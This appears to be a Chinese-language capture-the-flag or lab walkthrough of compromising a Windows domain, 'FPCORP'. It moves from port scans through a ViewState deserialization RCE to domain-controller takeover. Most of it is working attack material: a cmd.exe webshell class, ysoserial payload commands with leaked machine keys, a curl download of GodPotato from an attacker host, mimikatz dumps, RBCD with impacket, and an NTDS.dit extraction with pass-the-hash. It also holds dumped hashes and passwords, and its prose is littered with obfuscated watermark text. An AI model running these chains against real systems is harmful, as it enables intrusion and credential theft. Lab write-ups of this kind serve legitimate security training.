[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.20.38:445
[1.9s] [*] 端口开放 172.22.20.38:80
[1.9s] [*] 端口开放 172.22.20.38:139
[1.9s] [*] 端口开放 172.22.20.38:135
[1.9s] [*] 端口开放 172.22.20.38:21
[7.9s] [*] 端口开放 172.22.20.38:3389
[10.1s] [*] 端口开放 172.22.20.38:5357
[10.9s] [*] 端口开放 172.22.20.38:5985
[13.9s] [*] 端口开放 172.22.20.38:8080
[13.9s] [*] 端口开放 172.22.20.38:8172
[38.1s] [*] 端口开放 172.22.20.38:47001
[39.3s] [*] 端口开放 172.22.20.38:49669
[39.3s] [*] 端口开放 172.22.20.38:49668
[39.3s] [*] 端口开放 172.22.20.38:49666
[39.3s] [*] 端口开放 172.22.20.38:49667
[39.3s] [*] 端口开放 172.22.20.38:49664
[39.3s] [*] 端口开放 172.22.20.38:49665
[39.3s] [*] 端口开放 172.22.20.38:49673
[39.3s] [*] 端口开放 172.22.20.38:49672
[39.3s] [*] 端口开放 172.22.20.38:49671
[48.2s]     扫描完成, 发现 20 个开放端口
[48.2s]     存活端口数量: 20
[48.2s]     开始漏洞扫描
[48.3s] [*] 网站标题 http://172.22.20.38       状态码:404 长度:315    标题:Not Found
[48.3s] [*] NetInfo 扫描结果
目标主机: 172.22.20.38
主机名: FPSRVIIS03
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.38
[48.3s] [+] NetBios 172.22.20.38    FPCORP\FPSRVIIS03             
[48.3s]     POC加载完成: 总共387个,成功387个,失败0个
[48.3s] [+] FTP服务 172.22.20.38:21 匿名登录成功!
[48.3s] [*] 网站标题 http://172.22.20.38:8080  状态码:200 长度:5078   标题:IntraFetch
[48.3s] [*] 网站标题 https://172.22.20.38:8172 状态码:404 长度:0      标题:无标题
[1m11s]     扫描已完成: 16/16

FPSRVIIs​³𝐯𝘦𝒏·‍​si​t𝐞S03-2:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.165 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.20.165:445
[1.8s] [*] 端口开放 172.22.20.165:139
[1.8s] [*] 端口开放 172.22.20.165:135
[7.8s] [*] 端口开放 172.22.20.165:3389
[9.9s] [*] 端口开放 172.22.20.165:5040
[10.8s] [*] 端口开放 172.22.20.165:5357
[39.4s] [*] 端口开放 172.22.20.165:49664
[39.4s] [*] 端口开放 172.22.20.165:49665
[39.4s] [*] 端口开放 172.22.20.165:49666
[39.4s] [*] 端口开放 172.22.20.165:49667
[39.4s] [*] 端口开放 172.22.20.165:49669
[39.4s] [*] 端口开放 172.22.20.165:49670
[39.4s] [*] 端口开放 172.22.20.165:49671
[39.4s] [*] 端口开放 172.22.20.165:49672
[39.4s] [*] 端口开放 172.22.20.165:49673
[48.2s]     扫描完成, 发现 15 个开放端口
[48.2s]     存活端口数量: 15
[48.2s]     开始漏洞扫描
[48.2s] [+] NetBios 172.22.20.165   FPCORP\FPSRVIIS03-2           
[48.2s] [*] NetInfo 扫描结果
目标主机: 172.22.20.165
主机名: FPSRVIIS03-2
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.165
[57.5s]     扫描已完成: 7/7

FPSRVFS02:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.32 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.20.32:445
[1.8s] [*] 端口开放 172.22.20.32:135
[1.8s] [*] 端口开放 172.22.20.32:139
[8.8s] [*] 端口开放 172.22.20.32:3389
[12.1s] [*] 端口开放 172.22.20.32:5985
[43.9s] [*] 端口开放 172.22.20.32:47001
[45.2s] [*] 端口开放 172.22.20.32:49664
[45.2s] [*] 端口开放 172.22.20.32:49665
[45.2s] [*] 端口开放 172.22.20.32:49666
[45.2s] [*] 端口开放 172.22.20.32:49667
[45.2s] [*] 端口开放 172.22.20.32:49668
[45.2s] [*] 端口开放 172.22.20.32:49672
[45.2s] [*] 端口开放 172.22.20.32:49671
[45.2s] [*] 端口开放 172.22.20.32:49673
[45.2s] [*] 端口开放 172.22.20.32:49670
[45.3s] [*] 端口开放 172.22.20.32:49747
[55.2s]     扫描完成, 发现 16 个开放端口
[55.2s]     存活端口数量: 16
[55.2s]     开始漏洞扫描
[55.2s] [+] NetBios 172.22.20.32    FPCORP\FPSRVFS02              
[55.2s] [*] NetInfo 扫描结果
目标主机: 172.22.20.32
主机名: FPSRVFS02
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.32
[1m18s]     扫描已完成: 7/7

FPSRVAD01:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.25 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.20.25:88
[1.9s] [*] 端口开放 172.22.20.25:464
[1.9s] [*] 端口开放 172.22.20.25:445
[1.9s] [*] 端口开放 172.22.20.25:53
[1.9s] [*] 端口开放 172.22.20.25:593
[1.9s] [*] 端口开放 172.22.20.25:139
[1.9s] [*] 端口开放 172.22.20.25:135
[1.9s] [*] 端口开放 172.22.20.25:636
[1.9s] [*] 端口开放 172.22.20.25:389
[7.9s] [*] 端口开放 172.22.20.25:3268
[7.9s] [*] 端口开放 172.22.20.25:3269
[7.9s] [*] 端口开放 172.22.20.25:3389
[12.1s] [*] 端口开放 172.22.20.25:5985
[12.1s] [*] 端口开放 172.22.20.25:5987
[16.1s] [*] 端口开放 172.22.20.25:9389
[43.2s] [*] 端口开放 172.22.20.25:47001
[44.7s] [*] 端口开放 172.22.20.25:49664
[44.7s] [*] 端口开放 172.22.20.25:49665
[44.7s] [*] 端口开放 172.22.20.25:49666
[44.7s] [*] 端口开放 172.22.20.25:49667
[44.7s] [*] 端口开放 172.22.20.25:49668
[44.7s] [*] 端口开放 172.22.20.25:49670
[44.7s] [*] 端口开放 172.22.20.25:49674
[44.7s] [*] 端口开放 172.22.20.25:49677
[44.7s] [*] 端口开放 172.22.20.25:49678
[44.7s] [*] 端口开放 172.22.20.25:49681
[44.7s] [*] 端口开放 172.22.20.25:49687
[44.7s] [*] 端口开放 172.22.20.25:49703
[44.7s] [*] 端口开放 172.22.20.25:49761
[45.0s] [*] 端口开放 172.22.20.25:50245
[54.9s]     扫描完成, 发现 30 个开放端口
[54.9s]     存活端口数量: 30
[54.9s]     开始漏洞扫描
[55.0s] [*] NetInfo 扫描结果
目标主机: 172.22.20.25
主机名: FPSRVAD01
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.25
[55.0s] [+] NetBios 172.22.20.25    DC:FPCORP\FPSRVAD01        
[55.0s]     POC加载完成: 总共387个,成功387个,失败0个
[3m52s]     扫描已完成: 11/11

5. FPSRVIIS03

172.22.20.38:21 匿名登录 FTP
172.22.20.38:8080 IntraFetch Web

匿名登录读 FTP 资源,s‌𝟯v𝐞n∙‌𝐬ⅈ​𝐭𝘦‌得到一个 .Net 项目 IntraFetch 的源码

分析项目源码发现项目存在 ViewState 反序列化漏洞,𝒔3𝒗℮𝘯•‍​𝐬𝘪𝘵𝐞​‌从项目源码中获取解密及校验的算法和密钥:

<machineKey decryption="AES" decryptionKey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" validation="SHA1" validationKey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD"/>

编写一个 .NET 𝘀‌⑶ⅴ𝐞𝘯•‌𝒔i‍‍𝒕e‌‌Webshell:

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

找一个包含 ViewState 的页面 Default.aspx(包含 runat="server"),使用 ysoserial 𝘀‍3ⅴ𝐞n·‍​𝒔i​​𝘵𝐞构造 Payload:

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="88527b0d1e5d48e7a527da4b1a9c41ff" --isdebug

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass2.cs;./System.dll;./System.Web.dll" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="88527b0d1e5d48e7a527da4b1a9c41ff" --isdebug

通过 POST 方法传入 __VIEWSTATE 参数即可RCE,发现没有权限读 𝐬​‍³ⅴ𝘦n•​𝘴i‌𝘵e‌‍flag,查看一下特权信息:

whoami /priv

特权信息
----------------------

特权名                        描述                 状态  
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用
SeAuditPrivilege              生成安全审核         已禁用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeImpersonatePrivilege        身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege       创建全局对象         已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用

有 ImpersonatePrivilege 特权,使用 ѕ‍⑶ⅴ𝐞n.ѕ𝘪𝒕e​​GodPotato 提权

curl http://172.22.20.11:8083/GodPotato.exe -o C:\Windows\Temp\GodPotato.exe
C:\Windows\Temp\GodPotato.exe -cmd "net user administrator qwer1234!"

rdp 登录后发现 𝐬‍⑶𝘷e𝐧∙​‌𝐬ⅈ‌‍𝘵𝘦‍Administrator 桌面有一个通知文档:关于更新Visual Studio的通知_2025年07月05日.docx
image-13.png

传 mimikatz 𝘀‍3𝐯𝘦𝐧•​𝘴𝘪𝒕𝘦​‍获得域内用户的哈希

mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : FPSRVIIS03$
Domain            : FPCORP
Logon Server      : (null)
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : FPSRVIIS03$
         * Domain   : FPCORP
         * NTLM     : 17e2732c1dfa96062534bff91bcf7941
         * SHA1     : 440ca472380560b7fa975b9cddafb39c7e94e5eb
         * DPAPI    : 440ca472380560b7fa975b9cddafb39c
        tspkg :
        wdigest :
         * Username : FPSRVIIS03$
         * Domain   : FPCORP
         * Password : (null)
        kerberos :
         * Username : fpsrviis03$
         * Domain   : FPCORP.INT
         * Password : f7 0e 99 4c 14 eb ff 14 83 d6 e5 f1 0d 53 16 83 1f 3c 5f 79 7f b8 30 28 79 b8 e3 eb 7b c1 97 af e4 07 dc 8b cf 30 a5 7f 0e 67 fc bb b4 2a d1 a2 17 19 ea 21 8f 24 74 b8 ff c1 28 b5 f1 22 bf 6b 85 69 98 36 b0 c7 e1 2a 80 fa 35 d9 3b cf b7 05 8e 8d b4 6a 19 15 97 a1 aa 53 da 5c 3b 68 65 2d 45 31 54 00 17 e6 69 4c 97 40 88 04 65 4a 16 cb 20 2d 6d 4f 0c 19 09 76 e5 74 d4 96 53 f2 23 74 84 49 bb 0f b7 09 54 d7 c1 5a 73 6f 48 fc 58 6b e5 08 6c 5a 46 bc fe 98 46 65 3d b6 ed 77 e8 0b 7e 9b dd 65 20 8b 90 ae 5a 68 c3 85 22 e8 82 d1 a1 8d ef 7e de db 07 87 0b 09 57 5c 1e c1 d3 d9 ae a3 77 11 e1 d2 e9 d7 fe 53 26 8b fd 77 54 cc a1 9f 2e fc a9 55 df 7c 6b a0 8a ce 8d 2e 25 cd 3e 12 52 57 3a a4 d4 c8 77 8c 7c d1 14 13 6b 12
        ssp :
        credman :
        cloudap :

使用 SharpHound s‍‍⑶𝐯𝐞𝘯․‌​ꜱⅈ‌𝐭𝘦‌收集域内信息:

GodPotato.exe -cmd "C:\Windows\Temp\SharpHound-v1.1.1\SharpHound.exe -c all --outputdirectory C:\Windows\Temp"

导入到 Bloo𝘴​‍⑶𝘷℮𝘯․​𝘀i‍𝐭e‌dHound 中分析:
image-14.png

6. FPSRVIIS03-2

查看 FPSRVIIS03 中 Web 服务的日志可以发现,FPSRVIIS03-2 𝘀​³ⅴ𝐞𝐧·‍‌𝒔𝘪‍t𝐞​每隔2分钟就会拉取 VisualStudioSetup.exe,结合 FPSRVIIS03 中的公告猜测其会执行该 exe

FPSRVIIS03-2 中开启了 Windows Defender,直接上免杀马,s‍‍⑶𝘷𝐞𝘯.ѕⅈ‌𝒕e从 Adminstrator 桌面获得 flag

bypassUAC 后传 mimikatz 收集 Hash:

mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Authentication Id : 0 ; 128183 (00000000:0001f4b7)
Session           : Service from 0
User Name         : liu654
Domain            : FPCORP
Logon Server      : FPSRVAD01
SID               : S-1-5-21-3225782379-1150096479-4236096888-1138
        msv :
         [00000003] Primary
         * Username : liu654
         * Domain   : FPCORP
         * NTLM     : 9d0692eade0a6529acb5f0b122ae8763
         * SHA1     : ab55a10d983dfb60e0f633175af8e6e939bfb020
         * DPAPI    : 769347cc561870207141327479e8be4e
        tspkg :
        wdigest :
         * Username : liu654
         * Domain   : FPCORP
         * Password : (null)
        kerberos :
         * Username : liu654
         * Domain   : FPCORP.INT
         * Password : p1Uf^yko@+yHS
        ssp :
        credman :
        cloudap :

拿到 FPCORP.INT\liu654 的密码 p1Uf^yko@+yHS

7. FPSRVFS02

由于 LIU654@FPCORP.INTFPSRVFS02.FPCORP.INT 具有 GenericWrite ꜱ​³𝒗ℯ𝘯.​​𝒔i‌te权限,可以打 RBCD

proxychains addcomputer.py fpcorp.int/liu654:'p1Uf^yko@+yHS' -dc-ip 172.22.20.25 -dc-host fpcorp.int -computer-name 'TEST$' -computer-pass 'P@ssw0rd'

proxychains rbcd.py fpcorp.int/liu654:'p1Uf^yko@+yHS' -dc-ip 172.22.20.25 -action write -delegate-to 'FPSRVFS02$' -delegate-from 'TEST$'

proxychains getST.py fpcorp.int/'TEST$':'P@ssw0rd' -spn cifs/FPSRVFS02.FPCORP.INT -impersonate Administrator -dc-ip 172.22.20.25

sudo nano /etc/hosts
+++
172.22.20.32    FPSRVFS02.FPCORP.INT
+++

export KRB5CCNAME=Administrator@cifs_FPSRVFS02.FPCORP.INT@FPCORP.INT.ccache

proxychains wmiexec.py Administrator@FPSRVFS02.FPCORP.INT -k -no-pass -dc-ip 172.22.20.25 -codec=gbk

由于 FPSRVFS02 有 SVC_BKPADMIN@FPCORP.INT 的 session,𝘀‌⑶𝐯e𝘯∙​𝐬i‌‍te‌‍传 mimikatz 收集 Hash:

mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Authentication Id : 0 ; 95966 (00000000:000176de)
Session           : Service from 0
User Name         : svc_bkpadmin
Domain            : FPCORP
Logon Server      : FPSRVAD01
SID               : S-1-5-21-3225782379-1150096479-4236096888-1176
        msv :
         [00000003] Primary
         * Username : svc_bkpadmin
         * Domain   : FPCORP
         * NTLM     : f2f3e075ca082813f0d8191f947b0e01
         * SHA1     : 272514fca4ff5d1dbde31190d29158693c788333
         * DPAPI    : f5b7f440b2e68c1592f2dd9d7d8e0466
        tspkg :
        wdigest :
         * Username : svc_bkpadmin
         * Domain   : FPCORP
         * Password : (null)
        kerberos :
         * Username : svc_bkpadmin
         * Domain   : FPCORP.INT
         * Password : kzmR^lBw1!8BL
        ssp :
        credman :
        cloudap :

拿到 FPCORP.INT\svc_bkpadmin 的密码 kzmR^lBw1!8BL

8. FPSRVAD01

由于 SVC_BKPADMIN@FPCORP.INTFPSRVAD01.FPCORP.INT 具有 CanPSRemote 权限,可以使用 ꜱ‍³v℮𝒏•‌ѕⅈ‍t𝘦evil-winrm 登录控制 FPSRVAD01.FPCORP.INT

proxychains evil-winrm -i 172.22.20.25 -u svc_bkpadmin -p "kzmR^lBw1\!8BL"

进去之后发现没有权限读 s⑶𝒗𝐞𝐧.𝘀𝘪‌𝐭𝐞​flag,看一下特权信息:

whoami /priv

特权信息
----------------------

特权名                        描述             状态
============================= ================ ======
SeMachineAccountPrivilege     将工作站添加到域 已启用
SeBackupPrivilege             备份文件和目录   已启用
SeRestorePrivilege            还原文件和目录   已启用
SeShutdownPrivilege           关闭系统         已启用
SeChangeNotifyPrivilege       绕过遍历检查     已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集   已启用

有 SeBackupPrivilege 特权,𝘀​3𝐯en․‍‍ѕⅈ‍‌t𝘦‍使用卷影复制导出 Hash:

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
diskshadow.exe /s c:\temp\diskshadow.txt

robocopy /b z:\windows\system32\config . system
RoboCopy /b z:\windows\ntds . ntds.dit
secretsdump.py -ntds ntds.dit -system system local

Administrator:500:aad3b435b51404eeaad3b435b51404ee:972ffc4a036603066d388a1e28b4f583:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
FPSRVAD01$:1000:aad3b435b51404eeaad3b435b51404ee:52b489dc1e61fc2ef34152c382982faf:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b70e6f2681a7677a5bb97f5f38e9a5e6:::
FPITWKS101$:1103:aad3b435b51404eeaad3b435b51404ee:84bb2e34c8df3ff887870909976068ba:::
FPSRVFS02$:1104:aad3b435b51404eeaad3b435b51404ee:498d1edeac2f6994d49faba3358b48bd:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:df24c180d344f70f1ecb4384d5310dcf73de5bdb49347ae6f93ff1aa157a808f
Administrator:aes128-cts-hmac-sha1-96:f9cfc900b462330f6450ed88990d478b
Administrator:des-cbc-md5:ec325e9b2cfdfe6d
FPSRVAD01$:aes256-cts-hmac-sha1-96:622dbab2d042ddef7456f42f33d168adce091f679d79a7d1987eb952fc4a58fb
FPSRVAD01$:aes128-cts-hmac-sha1-96:a3240e9771fcb708c2f3694221397034
FPSRVAD01$:des-cbc-md5:2f76d30e19d33231
krbtgt:aes256-cts-hmac-sha1-96:a509693becfe3315a89e8877f2d2fbbb25609b6b99ab7691168ddaf7e102314c
krbtgt:aes128-cts-hmac-sha1-96:9fcb039ba0afa32f4294212e3f286d96
krbtgt:des-cbc-md5:5431f1439e291f10
FPITWKS101$:aes256-cts-hmac-sha1-96:92c5faadd7bf017c94035f476b013d7f89d584c65d21e2a5273b162327549f84
FPITWKS101$:aes128-cts-hmac-sha1-96:4b24dfd5ff95402c2d743cf710a63fc5
FPITWKS101$:des-cbc-md5:3df1c2ad1ac164b0
FPSRVFS02$:aes256-cts-hmac-sha1-96:695c0f85a867e2d4db59dcb8afe6aca84c3cd324eb963f0a067f228711e762aa
FPSRVFS02$:aes128-cts-hmac-sha1-96:202b2f21f606ca7a6edff8d3d24b2181
FPSRVFS02$:des-cbc-md5:a131b6c2f8673d98
[*] Cleaning up...
proxychains wmiexec.py administrator@172.22.20.25 -hashes "aad3b435b51404eeaad3b435b51404ee:972ffc4a036603066d388a1e28b4f583"